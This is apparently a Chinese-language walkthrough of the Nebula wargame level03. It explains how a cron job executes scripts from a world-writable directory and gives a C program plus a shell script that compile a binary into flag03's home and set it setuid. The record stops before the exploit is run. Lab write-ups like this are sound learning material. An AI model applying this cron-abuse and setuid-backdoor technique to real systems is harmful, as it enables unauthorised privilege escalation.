Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.
喔喔出現不一樣的題形了,一樣先登入 level03
發現一個空目錄 writable.d
和一個 shell script writable.sh
,騎內容如下:
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
先普及一下 shell script 的概念,shell script 就是可以一次執行一堆指令的東西,還能包含一些邏輯運算跟迴圈。
回到正題,這個 script 會執行在 writable.d
裡面的檔案並在執行完之後刪掉
ulimit -t 5
會限制下一個 bash 的指令的最大 CPU time 在 5 秒(man bash
搜尋 ulimit
找 -t
)
bash -x "$i"
執行並印出執行的指令(在這邊是$i)到螢幕上
先看一下2個檔案的權限
drwxrwxrwx 1 flag03 flag03 ... writable.d
-rwxr-xr-x 1 flag03 flag03 ... writable.sh
任何人都可以寫入 writable.d
(第三組有’rwx’),任何人都可以執行 writable.sh
(第三組有 ‘x’)
雖然任何人都可以執行 writable.sh
,但因為沒有 setUID
,所以會按照原本的使用者權限來執行,也就是說,直接用它來跑 getflag
是不會成功的
[執行一個跑getflag
的 script 證明這樣不行]
因為我們不管怎麼樣都沒有權限,所以要找其他的突破口 … 卡了好久之後終於看到題目裡面有一行
There is a crontab that is called every couple of minutes.
‘crontab’ 是讓使用者可以定期背景執行指令的工具 (man crontab
或 google)
因為沒有權限用 crontab -u flag03 -l
去看 flag03 的 crontab 到底是什麼 … 我們先「猜」這個東東會用 root 權限執行 writable.sh
好了
我們先在 /tmp
裡面打好我們要執行的程式 (不在 writable.d 裡面打因為會被 writable.sh 定期清掉 0A0)
"/tmp/abs.c"
------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){
// 跑 getflag
system("getflag");
return 0;
}
"/tmp/run.sh"
------------
#!/bin/sh
# 編譯一份可執行檔 abs 到 /home/flag03 底下
gcc -o /home/flag03/abs /tmp/abs.c
# 給 abs setUID 權限
chmod u+s /home/flag03/abs